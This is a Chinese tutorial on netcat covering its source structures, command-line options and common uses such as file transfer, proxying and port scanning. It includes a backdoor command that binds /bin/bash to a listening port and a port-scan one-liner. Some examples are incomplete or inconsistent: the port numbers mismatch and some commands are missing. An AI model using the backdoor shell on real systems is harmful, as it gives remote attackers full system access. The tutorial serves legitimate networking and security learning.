nc
的全称为Netcat,是一款拥有多种功能的 CLI 工具,可以在网络上进行读/写以及重定向数据等操作,被誉为是网络界的瑞士军刀。它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此它是一个非常好用的网络工具,它的主要用途为:
文件传输
:由于是直接建立TCP连接发送数据流,因此使用nc传输文件是不安全的,但是速度很快;
端口扫描
:可用于批量扫描指定IP的端口是否可用;
代理服务器
:简单的代理服务器;
- 等等;
一、源码解析
1.1、工作模式
nc共有四种连接模式,一下列出的连接模式按照索引等级由低到高,具体模式的含义解释以及相关的结构体代码如下所示:
typedef enum { NETCAT_UNSPEC, NETCAT_CONNECT, NETCAT_LISTEN, NETCAT_TUNNEL } nc_mode_t;
|
1.2、支持协议
nc支持TCP和UDP协议,默认支持的协议为TCP协议;
typedef enum { NETCAT_PROTO_UNSPEC, NETCAT_PROTO_TCP, NETCAT_PROTO_UDP } nc_proto_t;
|
1.3、主机以及端口存储结构
typedef struct { char name[MAXHOSTNAMELEN]; char addrs[MAXINETADDRS][NETCAT_ADDRSTRLEN]; struct in_addr iaddrs[MAXINETADDRS]; } nc_host_t;
typedef struct { char name[NETCAT_MAXPORTNAMELEN]; char ascnum[8]; unsigned short num; in_port_t netnum; } nc_port_t;
|
1.4、网络连接Socker存储结构
typedef struct { int fd, domain, timeout; nc_proto_t proto; nc_host_t local_host, host; nc_port_t local_port, port; nc_buffer_t sendq, recvq; } nc_sock_t;
|
1.5、数据缓存与IO读写
数据缓存的结构体如下所示:
typedef struct { unsigned char *head; unsigned char *pos; int len; } nc_buffer_t;
|
网络IO的主要的处理函数为int core_readwrite(nc_sock_t *nc_main, nc_sock_t *nc_slave)
,该函数循环操作网络IO,相关部分代码如下所示:
int core_readwrite(nc_sock_t *nc_main, nc_sock_t *nc_slave) { int fd_stdin, fd_stdout, fd_sock, fd_max; int read_ret, write_ret; unsigned char buf[1024]; bool inloop = TRUE;
while (inloop) { bool call_select = TRUE; struct sockaddr_in recv_addr; unsigned int recv_len = sizeof(recv_addr);
if (nc_slave->recvq.len > 0) { if (rem_sendq->len == 0) { } else if (!my_recvq->head) { debug_v((" reallocating %d data bytes in slave->recvq", my_recvq->len)); my_recvq->head = malloc(my_recvq->len); memcpy(my_recvq->head, my_recvq->pos, my_recvq->len); my_recvq->pos = my_recvq->head; } }
if (nc_main->sendq.len > 0) { write_ret = write(fd_sock, data, data_len); if (write_ret < 0) { if (errno == EAGAIN) write_ret = 0; else { perror("write(net)"); exit(EXIT_FAILURE); } }
}
if (call_select && FD_ISSET(fd_sock, &ins)) { if ((nc_main->proto == NETCAT_PROTO_UDP) && opt_zero) { memset(&recv_addr, 0, sizeof(recv_addr)); read_ret = recvfrom(fd_sock, buf, sizeof(buf), 0, (struct sockaddr *)&recv_addr, &recv_len); debug_dv(("recvfrom(net) = %d (address=%s:%d)", read_ret, netcat_inet_ntop(&recv_addr.sin_addr), ntohs(recv_addr.sin_port))); } else { read_ret = read(fd_sock, buf, sizeof(buf)); debug_dv(("read(net) = %d", read_ret)); }
}
if (nc_main->recvq.len > 0) { nc_buffer_t *my_recvq = &nc_main->recvq; nc_buffer_t *rem_sendq = &nc_slave->sendq;
if (opt_telnet) netcat_telnet_parse(nc_main);
if (my_recvq->len > 0) { if (rem_sendq->len == 0) { memcpy(rem_sendq, my_recvq, sizeof(*rem_sendq)); memset(my_recvq, 0, sizeof(*my_recvq)); } else if (!my_recvq->head) { my_recvq->head = malloc(my_recvq->len); memcpy(my_recvq->head, my_recvq->pos, my_recvq->len); my_recvq->pos = my_recvq->head; } } }
}
shutdown(fd_sock, SHUT_RDWR); close(fd_sock); nc_main->fd = -1;
if (nc_slave->domain != PF_UNSPEC) { shutdown(fd_stdin, SHUT_RDWR); close(fd_stdin); nc_slave->fd = -1; }
signal_handler = TRUE;
return 0; }
|
二、参数解析
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid] [-s source_ip_address] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]]
|
-4
:使用IPv4;
-6
:使用IPv6;
-A
:在套接字上设置SO_RECV_ANYIF;
-a
:在套接字上设置SO_AWDL_UNRESTRICTED;
-b
:将套接字绑定到指定的接口,需要附带参数;
-c
:发送CRLF作为行尾;
-C
:不要使用蜂窝数据连接???
-D
:启用调试套接字选项;
-d
:后台运行;
-E
:Don’t use expensive interfaces;
-F
:Do not use flow advisory (flow adv enabled by default);
-G
:连接超时时间(秒)
-h
:显示帮助
-H
:初始化空闲超时时间(秒),需要附带参数;
-I
:重复空闲超时的间隔(秒),需要附带参数;
-i
:发送线路、扫描端口的延迟间隔,需要附带参数;
-J
:重复空闲超时的次数,需要附带参数;
-k
:为多个连接保持入站套接字打开;
-K
:指定流量类别,需要附带参数;
-l
:侦听模式,用于入站连接;
-L
:生成读取超时事件之前要发送的探测数,需要附带参数;
-m
:在套接字上设置SO_INTCOPROC_ALLOW;
-n
:禁止名称/端口解析;
-M
:使用MULTIPATH域套接字;
-N
:生成写超时事件之前要发送的探测数,需要附带参数;
-O
:使用老式的connect代替connectx;
-p
:指定用于远程连接的本地端口(不能与-l一起使用),需要指定参数;
-r
:随机化远程端口;
-s
:本地源地址,需要附带参数;
-t
:回复Telnet请求;
-U
:使用Unix域套接字
-u
:UDP模式;
-v
:详细信息模式;
-w
:连接和最终网络读取超时,需要附带参数;
-X
:代理协议,可选参数为socks4、socks5或connect;
-x
:指定代理地址和端口;
-z
:零I/O模式[用于扫描];
-o
:连接/绑定后发出套接字选项;
--apple-delegate-pid
:使用pid将socket设置为委托;
三、常用指令
3.1、文件传输
接收数据的机器:
发送数据的机器:
nc 192.168.1.100 54321 < send.file
|
3.2、端口连通性检测
nc -v 192.168.1.100 54321
|
3.3、连接端口
nc -4l 192.168.1.100 54321
|
3.4、聊天室
服务器端:
客户端:
3.5、代理服务器
目前有三台机器A(192.168.1.100
)、B(192.168.1.101
)、C(192.168.1.102
),现在需要把B
当作代理服务器,把发送到B
的80
端口的流量全部转发到C
的8080
端口,确保C
的8080
端口处于监听状态,执行步骤如下:
3.5.1、单向管道
在B上执行如下指令:
nc -l 80 | nc 192.168.1.102 8080
|
3.5.2、双向管道
在B上执行如下指令:
mkfifo 2way nc -4l 80 0<2way | nc 192.168.1.100 8080 1>2way
|
3.6、nc后门(反弹Shell)
服务器端创建后门的命令:-e` 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
nc -4l 54321 -e /bin/bash
|
客户端连接后即可执行正常的Shell指令,连接指令如下:
3.7、扫描端口
扫描目标IP的制定的端口范围;
nc -v -z -n -w 1 192.168.1.100 1-1023
|